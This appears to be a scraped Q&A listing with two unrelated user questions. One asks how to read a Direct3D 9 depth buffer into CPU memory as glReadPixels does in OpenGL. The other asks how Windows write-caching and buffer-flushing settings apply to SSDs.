    I have code in OpenGL that uses glReadPixels to copy the depth buffer to a CPU memory buffer: glReadPixels(0, 0, w, h, GL_DEPTH_COMPONENT, GL_FLOAT, dbuf); How do I achieve the same in DirectX? I have looked at a similar question which gives the solution to copy the RGB buffer. I've tried to write similar code to copy the depth buffer: IDirect3DSurface9* d3dSurface; d3dDevice->GetDepthStencilSurface(&d3dSurface); D3DSURFACE_DESC d3dSurfaceDesc; d3dSurface->GetDesc(&d3dSurfaceDesc); IDirect3DSurface9* d3dOffSurface; d3dDevice->CreateOffscreenPlainSurface( d3dSurfaceDesc.Width, d3dSurfaceDesc.Height, D3DFMT_D32F_LOCKABLE, D3DPOOL_SCRATCH, &d3dOffSurface, NULL); // FAILS: D3DERR_INVALIDCALL D3DXLoadSurfaceFromSurface( d3dOffSurface, NULL, NULL, d3dSurface, NULL, NULL, D3DX_FILTER_NONE, 0); // Copy from offscreen surface to CPU memory ... The code fails on the call to D3DXLoadSurfaceFromSurface. It returns the error value D3DERR_INVALIDCALL. What is wrong with my code?

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  • Clarification On Write-Caching Policy, Its Underlying Options And How It Applies To Hard Drives And Solid-State Drives

    - by Boris_yo
    In last week after doing more research on subject matter, I have been wondering about what I have been neglecting all those years to understand write-caching policy, always leaving it on default setting. Write-caching policy improves writing performance and consists of write-back caching and write-cache buffer flushing. This is how I understand all the above, but correct me if I erred somewhere: Write-through cache / Write-through caching itself is not a part of write caching policy per se and it's when data is written to both cache and storage device so if Windows will need that data later again, it is retrieved from cache and not from storage device which means only improved read performance as there is no need for waiting for storage device to read required data again. Since data is still written to storage device, write performance isn't improved and represents no risk of data loss or corruption in case of power failure or system crash while only data in cache gets lost. This option seems to be enabled by default and is recommended for removable devices with no need to use function of "Safely Remove Hardware" on user's part. Write-back caching is similar to above but without writing data to storage device, periodically releasing data from cache and writing to storage device when it is idle. In my opinion this option improves both read and write performance but represents risk if power failure or system crash occurs with the outcome of not only losing data eventually to be written to storage device, but causing file inconsistencies or corrupted file system. Write-back caching cannot be enabled together with write-through caching and it is not recommended to be enabled if no backup power supply is availabe. Write-cache buffer flushing I reckon is similar to write-back caching but enables immediate release and writing of data from cache to storage device right before power outage occurs but I don't know if it applies also to occasional system crash. This option seem to be complementary to write-back cache reducing or potentially eliminating risk of data loss or corruption of file system. I have questions about relevance of last 2 options to today's modern SSDs in order to get best performance and with less wear on SSDs: I know that traditional hard drives come with onboard cache (I wonder what type of cache that is), but do SSDs also come with cache? Assuming they do, is this cache faster than their NAND flash and system RAM and worth taking the risk of utilizing it by enabling write-back cache? I read somewhere that generally storage device's cache is faster than RAM, but I want to be sure. Additionally I read that write-caching should be enabled since current data that is to be written later to NAND flash is kept for a while in cache and provided there is data that gets modified a lot before finally being written, holding of this data and its periodic release reduces its write times to SSD thereby reducing its wearing. Now regarding to write-cache buffer flushing, I heard that SSD controllers are so fast by themselves that enabling this option is not required, because they manage flushing. However, once again, I don't know if SSDs have their own onboard cache and whether or not it is faster than their NAND flash and system RAM because if it is, keeping this option enabled would make sense. Recently I have posted question about issue with my Intel 330 SSD 120GB which was main reason to do deeper research having suspicion of write-caching policy being the culprit of SSD's freezing issue assuming data being released is what causes freezes. Currently I have write-cache enabled and write-cache buffer flushing disabled because I believe SSD controller's management of write-cache flushing and Windows write-cache buffer flushing are conflicting with each other: Since I want to troubleshoot in small steps to finally determine the source of issue, I have decided to start with write-caching policy and the move to drivers, switching to AHCI later on and finally disabling DIPM (device initiated power management) through registry modification thanks to @TomWijsman

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